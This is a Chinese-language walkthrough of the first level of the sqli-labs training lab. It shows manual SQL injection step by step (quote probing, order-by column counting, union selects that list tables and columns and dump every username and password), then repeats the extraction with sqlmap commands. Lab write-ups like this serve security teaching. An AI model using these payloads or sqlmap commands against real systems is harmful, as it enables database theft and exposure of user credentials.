sqli-labs第一關 詳解


sqli-labs第一關

方法一:手工注入

方法二:sqlmap工具

兩種方式,都可以學學,順便學會用sqlmap,也是不錯的。不多說,我們開始吧

方法一:

來到第一關,圖上說我們需要一個數字的參數

 

 於是我們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯

每張截圖上面頁面中有select查詢語句,這是我在第一關的源碼中加上了echo "$sql<br>";  為了能夠跟清楚的了解sql注入的原理 

 

於是我們來判斷一下是否為字符型注入,嘗試?id=1'發現頁面報錯,此題應該為字符型注入

 

 於是我們拼接字符串?id=1' and '1'='1頁面回顯正常

 

 然后我們使用order by來確定表中的列數,為什么我們要確定表中字段的列數呢?是因為我們的union聯合查詢

聯合查詢特點:

1、要求多條查詢語句的查詢列數是一致的!
2、要求多條查詢語句的查詢的每一列的類型和順序最好一致
3、union關鍵字默認去重,如果使用union all 可以包含重復項

於是我們構造?id=1' and '1'='1' order by 1--+  頁面回顯正常

      ?id=1' and '1'='1' order by 2--+  頁面回顯正常

      ?id=1' and '1'='1' order by 3--+  頁面回顯正常

      ?id=1' and '1'='1' order by 4--+  出現報錯界面

 

 然后我們就確定了字段數,於是用聯合查詢?id=-1' union select 1,2,3--+    (將id弄成一個負數的值,使前面的語句失效)然后看看union查詢是否有回顯位

 

 這樣我們就看到了2,3這兩個回顯位

然后我們利用union查詢,查看數據庫的版本和數據庫名,這里面我們再補充點知識點

version():查看數據庫版本

database():查看使用的數據庫

user():查看當前用戶

limit:limit子句分批來獲取所有數據

group_concat():一次性獲取所有的數據庫信息

當我們簡單了解了這個之后,我們再進行下面的步驟,相信大家有了深刻的理解

接下來利用這兩個回顯位來查詢數據庫,和數據庫版本信息

?id=-1' union select 1,database(),version()--+

 

 然后我們知道了數據庫是security,版本信息:5.7.26

再爆表之前我們先了解一波知識點:

information_schema.tables:包含了數據庫里所有的表

table_name:表名

table_schema:數據庫名

column_name:字段名

然后我們利用union查詢來爆出表面寧

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

於是我們爆出了表名

 

 然后,由我們正常的思維,我們的賬號和密碼肯定在一張表上,我們看到了users表,

於是我們查看一下這張表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

 

 

 我們看到了username和password字段,

然后我們就去查詢字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

 

 獲得了所有的賬號和密碼,這樣我們就順利的拿到了很重要的信息。

方法二:

--dbs:是查看所有的數據庫

--tables:是查看所有的表

--columns:是查看表中所有的字段名

--dump:是查詢哪個表的數據

因為我們已經知道了注入點的位置,於是我們直接用sqlmap跑

命令:sqlmap.py -u "有注入點的url" --dbs

 

 我們看到了security數據庫,然后我們開始爆表

命令:sqlmap.py -u "有注入點的url" -D security --tables

 

接下來我們開始爆字段名

命令:sqlmap.py -u "有注入點的url" -D security -T users --columns

 

 於是我們就可以爆信息了

命令:sqlmap.py -u "有注入點的url" -D security -T users -C "id,username,password" --dump

 

 讓后我們就得到了用戶名和密碼了。

兩種方法,大家盡情參考就可以了。知識點,來自網絡搜集中,有不對的可以指出來,歡迎大家的評論和指正。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM